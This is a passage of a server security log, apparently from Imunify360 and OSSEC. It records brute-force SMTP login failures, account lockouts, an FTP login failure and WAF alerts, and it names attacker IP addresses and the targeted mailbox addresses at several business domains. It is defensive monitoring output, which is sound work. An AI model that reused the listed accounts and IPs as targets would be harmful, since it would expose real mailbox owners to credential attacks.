country_id: 2921044
description:
Feb  1 06:28:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:28:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:29:23 dovecot_login authenticator failed for H=(zzxU8gGd7) [178.16.54.22]:63623: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:29:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-02-01 06:29:06 dovecot_login authenticator failed for H=host-196-47-172-253.afnet.net [196.47.172.253]:40962: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-02-01 06:29:36 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:56417: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 06:29:59 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (graggen) [87.103.126.54]:55995: 535 Incorrect authentication data (set_id=azakaria.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:29:04 dovecot_login authenticator failed for H=(tNVHxr1jZ) [158.94.208.215]:59405: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:29:15 dovecot_login authenticator failed for H=(PDstoB) [158.94.208.175]:65164: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:29:15 dovecot_login authenticator failed for H=(wXv0IcICeS) [178.16.52.139]:54178: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:29:30 dovecot_login authenticator failed for H=(d576Uz) [185.36.81.54]:57788: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.223.44.230
country_id: 1835841
description:
2026-02-01 06:29:32 dovecot_plain authenticator failed for H=(nrxz5mz36je1tv3nj31gdn) [210.223.44.230]:54086: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:30:09 dovecot_login authenticator failed for H=(fcyInA3) [178.16.54.22]:61522: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:30:13 dovecot_login authenticator failed for H=(cUDYBh) [185.36.81.54]:54550: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:30:16 dovecot_login authenticator failed for H=(GFeTgK937y) [158.94.208.215]:55971: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:30:20 dovecot_login authenticator failed for H=(iTtifsnd23) [178.16.52.139]:62278: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:30:20 dovecot_login authenticator failed for H=(GcbiSRz) [178.16.52.139]:58965: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.239.194.7
country_id: 99237
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=57031514876853 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:30:12 dovecot_login authenticator failed for H=(dg9a09PEyy) [158.94.208.175]:62388: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:30:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:31:35 dovecot_login authenticator failed for H=(47rWVk9fA2) [185.36.81.54]:49370: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-02-01 06:31:58 dovecot_login authenticator failed for H=([37.57.69.227]) [37.57.69.227]:58870: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:31:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:31:04 dovecot_login authenticator failed for H=(PDFOI2fzDy) [158.94.208.215]:52162: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:31:14 dovecot_login authenticator failed for H=(arIcaP) [158.94.208.175]:64620: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:31:18 dovecot_login authenticator failed for H=(U2Vlo5) [178.16.54.22]:52947: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:31:38 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:31:19 dovecot_login authenticator failed for H=(QX9VDHZXe) [178.16.52.139]:51600: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:31:20 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:62774: 535 Incorrect authentication data (set_id=test@box.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:31:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:31:28 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:32:04 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:64615: 535 Incorrect authentication data


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:32:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:32:24 dovecot_login authenticator failed for H=(TeUqOWZ2p) [158.94.208.175]:61968: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 34.76.200.20
country_id: 2802361
description:
Feb  1 06:32:53 sv3 pure-ftpd[607217]: (?@34.76.200.20) [WARNING] Authentication failed for user [anonymous]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.187.65.135
country_id: 1814991
description:
2026-02-01 06:32:55 dovecot_login authenticator failed for H=([118.187.65.135]) [118.187.65.135]:60384: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.20.73.26
country_id: 1814991
description:
2026-02-01 06:32:36 dovecot_login authenticator failed for H=([14.20.73.26]) [14.20.73.26]:44473: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:32:46 dovecot_login authenticator failed for H=(V9DghJ) [178.16.52.139]:57123: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:32:48 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:32:04 dovecot_login authenticator failed for H=(Erc1CTD) [178.16.54.22]:63131: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:32:05 dovecot_login authenticator failed for H=(kAyKDlVuD) [178.16.52.139]:54337: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-02-01 06:32:10 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:33950: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:32:16 dovecot_login authenticator failed for H=(IhnTjeUgcq) [158.94.208.215]:57990: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:32:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:32:38 dovecot_login authenticator failed for H=(t06HHRhk) [185.36.81.54]:57696: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:32:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:32:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:33:04 dovecot_login authenticator failed for H=(zOkeYc8N1u) [158.94.208.215]:64178: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:33:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:33:14 dovecot_login authenticator failed for H=(5pLDeV) [158.94.208.175]:64126: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:33:02 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:55258: 535 Incorrect authentication data (set_id=test@wcc.wohcheong.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:33:13 dovecot_login authenticator failed for H=(ey4em3v) [178.16.54.22]:53485: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:33:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:33:03 dovecot_login authenticator failed for H=(5KhOhXv) [178.16.52.139]:62406: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:33:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:33:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:33:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.160.196.2
country_id: 1814991
description:
2026-02-01 06:33:14 dovecot_login authenticator failed for H=([112.82.241.226]) [61.160.196.2]:53096: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.58.66.231
country_id: 3469034
description:
2026-02-01 06:33:22 dovecot_login authenticator failed for H=(187.58.64.145.static.host.gvt.net.br) [187.58.66.231]:36733: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:33:39 dovecot_login authenticator failed for H=(pLMvlYa) [185.36.81.54]:57565: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:34:07 dovecot_login authenticator failed for H=(jEgJHLhfV) [158.94.208.175]:50117: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:34:16 dovecot_login authenticator failed for H=(AQhULR7F) [158.94.208.215]:64789: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:34:41 dovecot_login authenticator failed for H=(3Ziq2Pefo) [185.36.81.54]:64662: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:34:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:34:03 dovecot_login authenticator failed for H=(rSO5as) [178.16.52.139]:49663: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:34:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:34:22 dovecot_login authenticator failed for H=(Z3lVrJb) [178.16.54.22]:52835: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:34:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:35:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.235.131.191
country_id: 2589581
domain: www.kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.kendek.com/product-detail.php?id=612903 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:35:01 dovecot_login authenticator failed for H=(x8IViYTEfS) [178.16.52.139]:58159: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:35:06 dovecot_login authenticator failed for H=(foMFVT) [178.16.52.139]:57199: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:35:08 dovecot_login authenticator failed for H=(bs9vqv) [178.16.54.22]:64645: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.244.197.199
country_id: 597427
description:
2026-02-01 06:35:37 dovecot_plain authenticator failed for H=([91.244.197.199]) [91.244.197.199]:53430: 535 Incorrect authentication data (set_id=eeyh@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:35:35 dovecot_login authenticator failed for H=(42rWyq3v6) [185.36.81.54]:64700: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:35:04 dovecot_login authenticator failed for H=(0DU5DmumZe) [158.94.208.215]:57272: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:35:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:35:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:35:15 dovecot_login authenticator failed for H=(zCNdnQLz) [158.94.208.175]:49364: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:36:01 dovecot_login authenticator failed for H=(lZjONJXs) [178.16.52.139]:55569: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:36:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:36:17 dovecot_login authenticator failed for H=(2MOoms) [178.16.54.22]:61332: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:36:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:36:32 dovecot_login authenticator failed for H=(EdV8pddpJV) [185.36.81.54]:65478: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:36:16 dovecot_login authenticator failed for H=(l8FcsV) [158.94.208.215]:63791: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:36:21 dovecot_login authenticator failed for H=(1yVi59uqs) [158.94.208.175]:54487: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.123.202
country_id: 1269750
description:
2026-02-01 06:37:43 dovecot_login authenticator failed for H=([182.95.85.212]) [182.95.123.202]:55112: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.213.98
country_id: 1269750
description:
2026-02-01 06:37:51 dovecot_login authenticator failed for H=([128.185.241.123]) [152.52.213.98]:51250: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.84.25.45
country_id: 3175395
description:
2026-02-01 06:37:33 dovecot_plain authenticator failed for H=(liaral) [82.84.25.45]:46094: 535 Incorrect authentication data (set_id=skgoh@kendek.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:37:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:37:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:37:04 dovecot_login authenticator failed for H=(kpUJCL) [178.16.52.139]:60612: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:37:06 dovecot_login authenticator failed for H=(SlhBgRft71) [178.16.52.139]:55309: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:37:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:37:03 dovecot_login authenticator failed for H=(MSEGL5YG) [178.16.54.22]:55801: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:37:18 dovecot_login authenticator failed for H=(mqZ0zuwE2) [185.36.81.54]:63543: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:37:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:37:04 dovecot_login authenticator failed for H=(OLDS6UNz) [158.94.208.215]:55405: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.203.199.118
country_id: 1835841
description:
2026-02-01 06:37:07 dovecot_login authenticator failed for H=([175.203.199.118]) [175.203.199.118]:25896: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:37:17 dovecot_login authenticator failed for H=(r7xycG) [158.94.208.175]:52610: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.116.107.222
country_id: 1835841
description:
2026-02-01 06:37:23 dovecot_login authenticator failed for H=([211.116.107.222]) [211.116.107.222]:57307: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:38:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:38:42 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:50695: 535 Incorrect authentication data (set_id=testing@box.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:38:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:38:12 dovecot_login authenticator failed for H=(roLGbNsy) [178.16.54.22]:63382: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.236.2
country_id: 1269750
description:
2026-02-01 06:38:19 dovecot_login authenticator failed for H=([125.19.173.202]) [152.52.236.2]:34150: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:38:01 dovecot_login authenticator failed for H=(hFyJp5UP2) [158.94.208.175]:55147: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.136.164.157
country_id: 6252001
description:
2026-02-01 06:38:09 dovecot_login authenticator failed for H=c-76-136-164-157.hsd1.il.comcast.net [76.136.164.157]:45218: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:38:14 dovecot_login authenticator failed for H=(LRb2wO2A7) [158.94.208.215]:60328: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:38:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:38:03 dovecot_login authenticator failed for H=(oHCP1KCFg0) [178.16.52.139]:57663: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:38:04 dovecot_login authenticator failed for H=(yhJqoT) [185.36.81.54]:59392: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:39:22 dovecot_login authenticator failed for H=(JKq8PAkB) [185.36.81.54]:57665: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
